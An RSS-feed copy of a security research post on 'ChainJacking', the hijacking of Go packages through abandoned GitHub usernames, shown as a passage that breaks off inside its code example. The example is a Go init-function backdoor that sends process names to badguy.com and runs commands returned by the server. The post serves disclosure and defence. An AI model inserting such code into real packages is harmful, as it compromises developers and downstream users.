<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Vulnerability</title><link>https://research.intezer.com/tags/vulnerability/</link><description>Recent content in Vulnerability on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Tue, 16 Nov 2021 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/vulnerability/index.xml" rel="self" type="application/rss+xml"/><item><title>New Type of Supply Chain Attack Could Put Popular Admin Tools at Risk</title><link>https://research.intezer.com/blog/2021/11/chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk/</link><pubDate>Tue, 16 Nov 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/11/chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk/</guid><description>
&lt;p&gt;Research between Intezer and &lt;a href="https://checkmarx.com/"target="_blank" rel="noopener"&gt;Checkmarx&lt;/a&gt; describes
ChainJacking, a type of software supply chain attack that could be potentially
exploited by threat actors and puts common admin tools at risk.&lt;/p&gt;
&lt;p&gt;We have identified a number of open-source Go packages that are susceptible to
ChainJacking given that some of these vulnerable packages are embedded in
popular admin tools.&lt;/p&gt;
&lt;p&gt;The nature of transitive trust between open-source security (OSS) makes this
technique highly difficult to defend at the developer level using open-source
software.&lt;/p&gt;
&lt;p&gt;To help the infosec community protect against this type of attack, we developed
an &lt;a href="https://github.com/checkmarx/chainjacking"target="_blank" rel="noopener"&gt;open-source tool&lt;/a&gt; which can be
used to scan source code and detect if packages downloaded from GitHub and
other sources are vulnerable. You can also scan the binaries of any program in
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt; to make sure they don&amp;rsquo;t contain
vulnerable packages or ChainJacking vulnerable Git repositories.&lt;/p&gt;
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;An attacker slipping through the cracks between the designs of GitHub and Go
Package Manager could allow them to take control over popular Go packages,
poison them, and infect both developers and users.&lt;/p&gt;
&lt;p&gt;Go build tools provide an easy way for developers to download and use
open-source libraries in their projects. Compared to other languages such as
Python and Rust, Go doesn&amp;rsquo;t use a central repository where libraries can be
downloaded from. Instead, the Go tooling pulls code packages straight from
version control systems such as GitHub¹.&lt;/p&gt;
&lt;p&gt;GitHub is the largest source-code repository on the internet, with the majority
of Go packages hosted on it. One feature GitHub provides is allowing users to
change usernames.&lt;/p&gt;
&lt;p&gt;The change of username process is quick and simple. A warning lets you know
that all traffic for the old repository&amp;rsquo;s URL will be redirected to the new
one.&lt;/p&gt;
&lt;p&gt;What GitHub doesn&amp;rsquo;t mention in this alert is an important implication that it
does list in its documentation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After changing your username, your old username becomes available for anyone
else to claim.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This means that an attacker can easily claim the abandoned username and start
serving up malicious code to anyone who downloads the package, relying on the
credibility gained by its former owner. Doing so in a Go package repository
could result in a chain reaction that substantially widens the code
distribution and infects large numbers of downstream products.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s lay out the blueprint for this relatively simple yet potentially
catastrophic attack vector.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;¹ We are focusing on Go but other package managers like NPM also allow code
pulling from version control systems which makes them susceptible to this kind
of attack as well.&lt;/p&gt;
&lt;h2&gt;Direct ChainJacking&lt;span class="hx:absolute hx:-mt-20" id="direct-chainjacking"&gt;&lt;/span&gt;
&lt;a href="#direct-chainjacking" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;rsquo;s give an example scenario. A developer named Annastacia opens a GitHub
account under the username &lt;code&gt;Annastacia&lt;/code&gt;. She then publishes a useful Go package
in a repository under the name &lt;code&gt;useful&lt;/code&gt;. Anyone who wants to use this package
can either download and install it via &lt;code&gt;go get github.com/Annastacia/useful&lt;/code&gt;,
or import it into their code via &lt;code&gt;import github.com/Annastacia/useful&lt;/code&gt;. This
action will add an entry to the &lt;code&gt;go.mod&lt;/code&gt; file, allowing the tooling provided by
Go to easily update the package when new versions are released.&lt;/p&gt;
&lt;p&gt;Some time has now gone by and thanks to its usefulness, the package has become
popular. Annastacia decides that she wants a shorter name for her repository
and with just a few clicks she changes her GitHub username to &lt;code&gt;Anna&lt;/code&gt;.
Subsequently, two things will happen:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The username &lt;code&gt;Annastacia&lt;/code&gt; is now available to be registered by anyone else.&lt;/li&gt;
&lt;li&gt;All requests for &lt;code&gt;github.com/Annastacia/useful&lt;/code&gt; are now redirected to
&lt;code&gt;github.com/Anna/useful&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All current packages using &lt;code&gt;github.com/Annastacia/useful&lt;/code&gt; can still use it as
before, so nothing breaks and there are no user complaints as of yet².&lt;/p&gt;
&lt;p&gt;If a malicious actor manages to claim the &lt;code&gt;Annastacia&lt;/code&gt; username, they can then
publish their own malicious code under the repository name &lt;code&gt;useful&lt;/code&gt;. This
action breaks the redirect to &lt;code&gt;Anna/useful&lt;/code&gt; and GitHub now serves the threat
actor&amp;rsquo;s malicious code from &lt;code&gt;github.com/Annastacia/useful&lt;/code&gt;, which could
compromise anyone using the old URL.&lt;/p&gt;
&lt;p&gt;The concept is rather simple. Now, every new installation of this package can
potentially infect the installing developer&amp;rsquo;s machine. Even more potentially
damaging, any new package or third-party product written in the future which
depends on this infected package will also cause infections on any machine it
is installed on.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;² Given that the owner dealt with the Go module configuration the right way.&lt;/p&gt;
&lt;h2&gt;Meet go.mod &amp;amp; go.sum&lt;span class="hx:absolute hx:-mt-20" id="meet-gomod--gosum"&gt;&lt;/span&gt;
&lt;a href="#meet-gomod--gosum" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the attack scenario described above, the victim&amp;rsquo;s machine is infected by
directly calling for the poisoned package. This is assuming the victim called
Annastacia&amp;rsquo;s old repository URL and not the new one. As previously mentioned, a
successful attack can also occur when the poisoned package is called
indirectly, as a dependency of another package, preferably a popular one.
However, this kind of attack raises new challenges for the attacker.&lt;/p&gt;
&lt;p&gt;Dependencies in a Go project are managed by two files, &lt;code&gt;go.mod&lt;/code&gt; and &lt;code&gt;go.sum&lt;/code&gt;.
The &lt;code&gt;go.mod&lt;/code&gt; file holds a complete list of the module&amp;rsquo;s dependencies and their
versions, while the &lt;code&gt;go.sum&lt;/code&gt; file holds a complete list of the module&amp;rsquo;s
dependencies, their versions, and a checksum of the package.&lt;/p&gt;
&lt;p&gt;Looking at this from the viewpoint of an attacker, if they manage to take
control over a package, found in the &lt;code&gt;go.mod&lt;/code&gt; and &lt;code&gt;go.sum&lt;/code&gt; files of a popular
package, and poison it while leaving it in the same version, the attack will
fail due to a checksum mismatch³.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;³ It will most likely fail even before this point because Go tooling will pull
the cached package and not access the poisoned repository.&lt;/p&gt;
&lt;p&gt;For an attack to succeed, they must publish a new version of the package and in
some way, lure the owner of the package to update its dependencies. This is a
significant challenge for the attacker with the obvious solution being a manual
pull request, or in case the GitHub repository is configured that way, an
automatic pull request from GitHub&amp;rsquo;s dependabot.&lt;/p&gt;
&lt;h2&gt;Potential Impact&lt;span class="hx:absolute hx:-mt-20" id="potential-impact"&gt;&lt;/span&gt;
&lt;a href="#potential-impact" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We believe that ChainJacking has the potential to cause damage equivalent to
the attack on SolarWinds, since some of the vulnerable Go packages we found are
used as dependencies in popular admin tools designed to run with high
privileges.&lt;/p&gt;
&lt;h2&gt;Practical Example&lt;span class="hx:absolute hx:-mt-20" id="practical-example"&gt;&lt;/span&gt;
&lt;a href="#practical-example" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;rsquo;s look at a commonly used open-source library and show what could happen if
it was susceptible to a take-over. A popular third-party logging package is
called Logrus (&lt;code&gt;github.com/sirupsen/logrus&lt;/code&gt;). If this package is vulnerable, it
can be used to inject malicious code into any applications compiled with the
&amp;ldquo;old&amp;rdquo; repository. In this mock scenario, in addition to code provided by Go
standard library, we are also using the third-party package
&lt;code&gt;github.com/mitchellh/go-ps&lt;/code&gt;. This package allows for enumerating the running
processes on the machine and is platform independent. The package has been used
by multiple malware written in Go. Also, we can use go-binddata to embed an
alternative payload.&lt;/p&gt;
&lt;p&gt;The following code was added to the end of one of the files in the package.
First, a new &lt;code&gt;init&lt;/code&gt; function was created. Go allows for multiple &lt;code&gt;init&lt;/code&gt;
functions to exist in the same package. All &lt;code&gt;init&lt;/code&gt; functions are executed
before the &lt;code&gt;main&lt;/code&gt; function is executed in a non-deterministic order.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;collectData&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;writeAndExecute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;collectData&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Processes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Executable&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RawURLEncoding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;EncodeToString&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;|&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;https://badguy.com/?s1=%s&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;defer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ioutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ReadAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}{}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Unmarshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1337&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
